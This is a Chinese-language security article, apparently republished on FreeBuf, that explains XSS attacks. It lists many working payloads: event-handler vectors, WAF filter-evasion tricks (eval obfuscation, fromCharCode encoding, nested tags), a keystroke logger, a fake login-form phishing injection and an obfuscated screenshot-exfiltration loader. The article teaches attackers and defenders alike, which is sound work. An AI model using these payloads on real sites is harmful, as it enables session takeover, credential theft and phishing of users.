當前位置:
首頁 > 新聞 > 對 XSS 的一次深入分析認識

對 XSS 的一次深入分析認識


隨著時間的推移,Web應用漏洞的類型在不斷演變,但年復一年持續存在且影響廣泛的漏洞仍然還屬XSS漏洞。長期以來,XSS漏洞算是非常常見的安全問題,以至於對大多數人來說,即使一個新的XSS漏洞被披露,但從內心來說,早已習已為常。本文深入描述XSS攻擊在幾種實際環境中的應用,同時順帶提到了一些XSS攻擊的繞過技術。


幾種載入XSS Payload的不常見標籤


和我們能想到的一樣,預防是最好的治療方法,而且去嘗試和緩解一些意外的攻擊也不失為一種好的策略實踐。通常情況下,大多數組織機構只會部署現成的WAF產品(網路應用防火牆),而不是制訂開發適合自身的緩解技術,根本不會意識到那些結合自身的防護技術才是最恰當最精準的安全措施。

這樣一來,攻擊者們在構造代碼驗證請求或實施代碼審計之後,有WAF產品也沒用,攻防雙方就又形成了貓捉老鼠或是打地鼠的遊戲格局了。


就通用的XSS filter來說,因為<script>是引入JavaScript腳本執行的原始方法,所以其中對<script> 和 </script> 配對標籤的使用是完全禁止的。


如果一個攻擊者發現<script>標籤被禁止之後,他可能會轉向尋求其它方法來執行JavaScript腳本,打地鼠遊戲就開始了。


眾所周知,一種調用JavaScript的方法就是在元素類型上使用事件處理器(Event Handler),通常的一種方法類似:<img src=x onerror=alert("xss") />,這是一種使用無效src屬性來觸發 onerror 事件處理器(onerror event handler)的方法,當然,其中包含了一個alert跳出框的xss payload,如下alert(1):



由於過度使用img標籤和onerror事件處理器,它們經常被列入XSS過濾黑名單,但除此之外還有其它形式的XSS攻擊向量。雖然所有可能的XSS攻擊向量標籤列表無法一時列出,但其中幾種非常有必要在此談談。


Body 標籤


由於這種攻擊方法向量,在給定頁面中只有一個body標籤,有些人可能認為它不起作用,但實際上,所有瀏覽器都會把它當事件處理器(Event Handler)來執行。在這裡,可以在onpageshow事件中用提交body元素的方法,形成XSS Payload,當其中的body元素被解析後就會觸發Payload。示例如下:

<body onpageshow=alert(1)>

Style 標籤


儘管onload事件總會被識別為危險動作,但另外來說,它也可以和style標籤組合來用,雖然這種場景並不多見。示例如下:

<style onload=alert(1) />

Marquee 標籤


Marquee 標籤除了在web開發中有標籤內容回滾作用之外,它還支持一系列的事件處理程序,因此可以用它來實現XSS Payload觸發。Marquee支持的一系列事件處理程序如下:



onbounce事件:是在<marquee>標籤中的內容滾動到上下或左右邊界時觸發的事件處理程序,該事件只有在<marquee>標籤的behavior屬性設為alternate時才有效;


onfinish事件:當 marquee 完成 loop 屬性設置的值時觸發。它只能在 loop 屬性設置為大於 0 的某個數字時觸發;


onstart事件: 當 marquee 標籤內容開始滾動時觸發。


結合此,加入XSS Payload的示例如下:

<marquee behavior="alternate" onstart=alert(1)>hack the planet</marquee><marquee loop="1" onfinish=alert(1)>hack the planet</marquee><marquee onstart=alert(1)>hack the planet</marquee>

Media 標籤


可能這種利用音視頻標籤來載入XSS Payload的方法很少見,實際來說,音視頻標籤中確實有幾種事件處理程序不會輕易被列入黑名單行列,尤其是以下幾種:



oncanplay: 在用戶可以開始播放音視頻(audio/video)時觸發;

ondurationchange: 在音視頻(audio/video)的時長發生變化時觸發;


onended: 在音視頻(audio/video)播放結束時觸發;


onloadeddata: 在音視頻數據幀載入時觸發,也即在當前幀的數據載入完成且還沒有足夠的數據播放音視頻(audio/video)的下一幀時觸發;


onloadedmetadata: 在指定音視頻(audio/video)的元數據(如解析度和時長)載入後觸發;


onloadstart: 在瀏覽器開始尋找指定音視頻(audio/video)時觸發;


onprogress: 瀏覽器下載指定的音視頻(audio/video)時觸發;


onsuspend: 在瀏覽器讀取音視頻(audio/video)數據中止時觸發。


結合以上事件,加入XSS Payload的示例如下:

<audio oncanplay=alert(1) src="/media/hack-the-planet.mp3" /><audio ondurationchange=alert(1) src="/media/hack-the-planet.mp3" /><audio autoplay=true onended=alert(1) src="/media/hack-the-planet.mp3" /><audio onloadeddata=alert(1) src="/media/hack-the-planet.mp3" /><audio onloadedmetadata=alert(1) src="/media/hack-the-planet.mp3" /><audio onloadstart=alert(1) src="/media/hack-the-planet.mp3" /><audio onprogress=alert(1) src="/media/hack-the-planet.mp3" /><audio onsuspend=alert(1) src="/media/hack-the-planet.mp3" /><video oncanplay=alert(1) src="/media/hack-the-planet.mp4" /><video ondurationchange=alert(1) src="/media/hack-the-planet.mp4" /><video autoplay=true onended=alert(1) src="/media/hack-the-planet.mp4" /><video onloadeddata=alert(1) src="/media/hack-the-planet.mp4" /><video onloadedmetadata=alert(1) src="/media/hack-the-planet.mp4" /><video onloadstart=alert(1) src="/media/hack-the-planet.mp4" /><video onprogress=alert(1) src="/media/hack-the-planet.mp4" /><video onsuspend=alert(1) src="/media/hack-the-planet.mp4" />

黑名單代碼樣式

正如很多殺毒軟體的模式匹配規則一樣,只要某種行為動作和其內置的規則相匹配,則該動作就會被馬上列入黑名單中禁止執行。


在有些場景下,我們發現與JavaScript代碼同義的各種動作都會被目標防護軟體列入黑名單,甚至是使用正常的alert也不例外。在此,有幾種方法可以繞過這些模式匹配規則。


Eval & 其它冗餘符號


如果目標系統的WAF或其它防護軟體沒把 /(eval|replace)(.+?)/i 這種樣式列入黑名單,那麼我們可以在其中通過夾雜冗餘符號的方式形成Payload,利用其中的eval動作來載入Payload,再利用之後的replace動作把冗餘符號進行替換刪除。


就比如,eval("alert(1)") 等同於  alert(1) ,傳入eval的字元串列為會被解釋執行,如果我們按照常規方式來構造,肯定會被目標系統中的WAF類產品識別阻擋。


所以,在此,我們可以通過eval和replace事件的組合利用,先在其中加入一些冗餘符號來進行混淆,再進行替換刪除,最終繞過WAF規則,形成我們想要達到的Payload。示例如下:

eval("~a~le~rt~~(~~1~~)~".replace(/~/g, ""))

圍繞引號轉義來做文章


當引號被轉義(escape)之後,不管使用了什麼繞過技術,肯定會引起問題,就像上面的eval("~a~le~rt~~(~~1~~)~".replace(/~/g, ""))一樣,如果要順帶把引號轉義,其Payload可能如下:

eval("~a~le~rt~~(~~1~~)~".replace(/~/g, ""))

但另一種變換方法就是利用正則表達式來避免帶入引號的使用,如可以在上述Payload中引入正斜杠方式,然後再用創建的正則表達式對象屬性來訪問其中的閉合字元串。示例如下:

eval(/~a~le~rt~~(~~1~~)~/.source.replace(/~/g, new String()))

以此用new String()來實現把~轉換為空字元串的目的,從而不需要用到引號。

對引號實行轉義並繞過WAF類產品模式匹配規則的一個有效手段是使用eval的String.fromCharCode方法,該方法將獲取一個或多個十進位Unicode值,然後將它們轉換成等效的ASCII字元,並將它們連成一個字元串,如:

console.log(String.fromCharCode(65,66,67,68))  //在終端返回顯示的是字元串 "ABCD"

通過這種對Unicode值的轉換,可以把目標值傳遞給eval,因此,可以構造Payload如下:

eval(String.fromCharCode(97,108,101,114,116,40,49,41))  //// 最終執行的會是 alert(1)

其它使用Eval的方法


上面的例子有些是圍繞eval的使用而不是過濾來談的,由於eval是一種大家熟知的危險方法,所以經常會看到/eval(.+?)/i這樣的過濾方式。


相應的,我們也可以採取其它方法來規避過濾。由於函數可以存儲在JavaScript的變數中,所以為了不直接調用eval,我們可以把它分配給一個變數,然後間接調用它,示例如下:


var x = eval; x("alert(1)")


另外一種間接調用eval的方法是用括弧進行構造,即用括弧間接調用法,如表達式(1,2,3,4)返回的是4,即括弧中最後一個,所以(1,eval)返回的是函數eval,具體示例如下:

(eval)    // 返回函數eval    (1, eval) // 仍然返回函數eval

因此可以構造以下Payload來執行:

(1, eval)("alert(1)")  // 返回 alert(1)

基於此,也可以使用call方法來直接調用,如下:

eval.call(null, "alert(1)")  //返回 alert(1)

其次,可以定義一個新函數的方法來規避直接對eval的調用,當然這種方法還會涉及到一些語法定義,如下:

function hackThePlanet () {  alert(1)}

最後,還可以用創建Function對象的方式來實現alert調用,該對象接受構造函數中的字元串作為函數實現,如下:

new Function("alert(1)")()

利用錯誤輸入過濾機制實現繞過


如果用戶輸入內容看似危險,那麼就需要對其輸入和響應進行一些過濾,最好的方法就是只顯示出一些通用性錯誤或是直接拒絕用戶的整個請求。


不管怎麼說,這種定製化的緩解防護策略也很常見,但就像上述我們提到的各種繞過技術一樣,如果我們充分了解了目標系統的輸入過濾機制,那麼,也可以利用這種過濾機制,以其人之道還治其人之身,最終構造出我們的有效Payload。


利用不安全樣式刪除機制


刪除不安全危險數據的最常見方法之一可能就是把它直接刪除,一些過濾器只會簡單地認為,危險數據刪除了就安全了。


這種刪除機制除非是遞歸方法執行,否則,它也會自己把自己玩死。就像如果<script>和</script>標籤對會被過濾器轉換為空字元串,那麼,把它們組合構造夾雜放入一條javascript中,最終只有<script>和 </script>標籤對被刪除了,其它剩下的就又形成了新的組合方式,示例如下:

<sc<script>ript>alert(1)</sc</script>ript>

上述javascript中,如果過濾器只是簡單地把標籤對刪除了,那麼最終會剩下:

<script>alert(1)</script>

完美,這就是我們想要的。同樣的方法可以應用到一些標籤屬性或事件處理程序中,就像如果onerror是刪除目標,那麼,我們可以構造以下Payload:

<img src=x ononerrorerror=alert(1) />

最終刪除後剩下的結果為:

<img src=x onerror=alert(1) />

替換不安全樣式


當一些不安全的樣式被替換而不是被刪除之後,目標系統過濾器要識別它們,可能就有一些麻煩了。根據不同的過濾器規則,可以使用替換方式來構造我們最終想要的Payload。


就比如,如果目標系統的過濾器會把<script></script>標籤對都過濾替換為NAUGHTY_HACKER欄位,那麼,我們提交<script>alert(1)</script> 之後的結果就會是NAUGHTY_HACKERalert(1)NAUGHTY_HACKER。


但如果我們把<script>標籤對的聲明改為<script script>> 和 </script /script>>這種嵌套式樣式後,那麼參照替換為NAUGHTY_HACKER欄位的規則,對於<script>alert(1)</script>來說,目標過濾器會把它過濾為:

<script NAUGHTY_HACKER>alert(1)</script NAUGHTY_HACKER>

在開始標籤script NAUGHTY_HACKER>中,瀏覽器會把NAUGHTY_HACKER默認解析為一個不帶值的屬性,就像input中的autofocus屬性一樣。在閉合標籤</script NAUGHTY_HACKER>中,雖然技術上屬於無效,但最終卻能正確解析。因為瀏覽器在某種程度上為了減少錯誤,雖然能識別到這個附加屬性,但會簡單地把它忽視掉。最終在瀏覽器的檢查器效果如下:



XSS的影響絕不僅僅是跳出彈框!


一些XSS披露漏洞中簡單的跳出彈框PoC證明,可能是導致XSS漏洞危害被認知不足的一個原因吧,儘管XSS調用alert形式的彈框能證明漏洞的存在,但卻不能很好地證明XSS漏洞的實際威力和影響。所以,XSS漏洞導致的JavaScript執行到底會有多嚴重,讓我們產生無限遐想。在此就分享兩個案例。


無需會話Cookie劫持實現賬戶獲取


會話Cookie劫持可能是XSS攻擊中對目標系統或用戶的最大潛在威脅,因為這通常會導致目標用戶的會話被攻擊者完全操縱利用。

越來越多的人熟知會話劫持的風險,因此,後期在會話信息中加入了HttpOnly標誌,來避免JavaScript讀取Cookie,這應該算是一個大的改進了,但實際來說,劫持賬戶也並不只有Cookie劫持一種方法。


有很多事件程序可以和JavaScript關聯起來,其中一個就是 keypress 按鍵事件(你能看到該事件背後會發生什麼嗎?)。通過在keypress事件的document調用方法中添加回調函數Callback,在用戶點擊、按下或選中觸發回調,以此來截取用戶的按鍵信息。


通過這種操作,攻擊者可以有效地將鍵盤記錄器植入用戶瀏覽器中,實現按鍵監聽,竊取用戶密碼憑據相關的按鍵信息。如下視頻:


上圖中,keypress 按鍵事件通過包含以下內容的JavaScript文件,捕獲按鍵事件信息並發送到攻擊者的本地web伺服器中。

document.addEventListener("keypress", function (event) {  var xhr = new XMLHttpRequest()  xhr.open("POST", "/keylogger")  xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded")  xhr.send("data=" + event.key)})

DOM 形式的操縱利用


雖然上述XSS構造的鍵盤記錄器能正常起效,但如果不被目標用戶信任,迷惑不了目標用戶執行輸入,那麼,這種攻擊最後也會無效。


我們可以對上述鍵盤記錄器PoC稍作修改,可以修改執行時的DOM,用包含登錄頁面的body內容進行替換。這樣一來,可以把任意標記內容都分配給document.body.innerHTML作為屬性,如下:

var dummyFormHtml = "We"ve had reports of bad guys trying to do wrong by " +                    "our users lately - help us, help you, by logging in " +                    "again to confirm your identity<br><input type="text" />" +                    "<br><input type="password" /><br><input type="submit" value="Login" />"document.body.innerHTML = dummyFormHtmldocument.addEventListener("keypress", function (event) {  var xhr = new XMLHttpRequest()  xhr.open("POST", "/keylogger")  xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded")  xhr.send("data=" + event.key)})

這樣,頁面的body內容將會形成一個迷惑性的登錄框,誘使用戶輸入密碼憑據等敏感信息。如下:



雖然這只是個簡單的示例,但是基於此,攻擊者可以創建和網站登錄頁面一模一樣的釣魚頁面,以假亂真,形成有效攻擊。畢竟,大部份受害者只要看到正確的域名,就不會對登錄頁面產生太多質疑。

DOM 形式的這種操縱利用遠不止於此,另外,它還可以用來構造複雜的社工攻擊。比如,可以被構造用來向用戶發送提示通知,告訴用戶需要通過某個號碼去聯繫客戶支持部門,如果這種提示顯示在和用戶訪問的目標網站相同的域名上,那麼其可信度就相當高了,只要用戶撥通所謂的客戶部門電話,個人敏感信息就會被攻擊者輕易獲得。


一圖勝千言 - 利用XSS竊取用戶瀏覽器視圖截圖


如今,隨著現代瀏覽器功能特性的不斷發展更新,XSS Payload的構造方式也不斷升級,利用新的瀏覽器功能特性,攻擊者甚至可以竊取到用戶當前瀏覽器視圖的截圖信息。


html2canvas 能夠實現在用戶瀏覽器端直接對整個或部分頁面進行截屏,利用這一功能,攻擊者用6行JavaScript代碼就能竊取受害者瀏覽器視圖截圖,並回傳到控制伺服器。代碼示例如下:

html2canvas(document.querySelector("body")).then(canvas => {  var xhr = new XMLHttpRequest()  xhr.open("POST", "/screenshot")  xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded")  xhr.send("data=" + encodeURIComponent(canvas.toDataURL()))});

結合上述代碼,構造以下Payload提交到測試的目標用戶應用中,之後,就會生成一張包含目標用戶使用信息的截圖圖片,而且該圖片會被回傳至攻擊者控制伺服器中。

<img src="/media/hack-the-planet.jpg" onload=eval(String.fromCharCode(115,101,116,84,105,109,101,111,117,116,40,102,117,110,99,116,105,111,110,40,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,97,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,97,46,115,101,116,65,116,116,114,105,98,117,116,101,40,39,115,114,99,39,44,39,47,115,99,114,105,112,116,115,47,115,99,114,101,101,110,115,104,111,116,46,106,115,39,41,59,100,46,104,101,97,100,46,97,112,112,101,110,100,67,104,105,108,100,40,97,41,59,125,44,49,48,48,48,41)) />

上述代碼中的十進位數編碼對應的就是以下函數方法:

setTimeout(function() {  var d = document;  var a = d.createElement("script");  a.setAttribute("src","/scripts/screenshot.js");  d.head.appendChild(a);}, 1000)

setTimeout()方法用於在指定的毫秒數後調用函數,這裡調用了setTimeout原因是為了確保圖像顯示在屏幕上以供驗證說明。


雖然上述Payload是將截圖發送到和目標Web應用相同的伺服器中,但在實際環境中,完全可以把截圖發送到攻擊者控制的遠程外部伺服器中去。


Payload一旦執行後,一個名為screenshot.png的截圖文件就會出現在Node.js應用中,該截圖包含了網頁內容,如下:


雖然這種攻擊的實際應用有限,但它可以很好地詮釋利用XSS漏洞能實現的攻擊場景,值得思考借鑒。


參考


如果你想實際動手測試這篇文章中提到基於Node.js的Web應用實例,把玩其中的鍵盤記錄器或瀏覽器截圖程序,請參考我們的GitHub頁面:https://github.com/DigitalInterruption/vulnerable-xss-app


*

參考來源:digitalinterruption,clouds編譯,轉載請註明來自FreeBuf.COM


喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 FreeBuf 的精彩文章:

不平凡的2018,但願2019能平凡一點
2018弱密碼TOP 100出爐:123456再次衛冕

TAG:FreeBuf |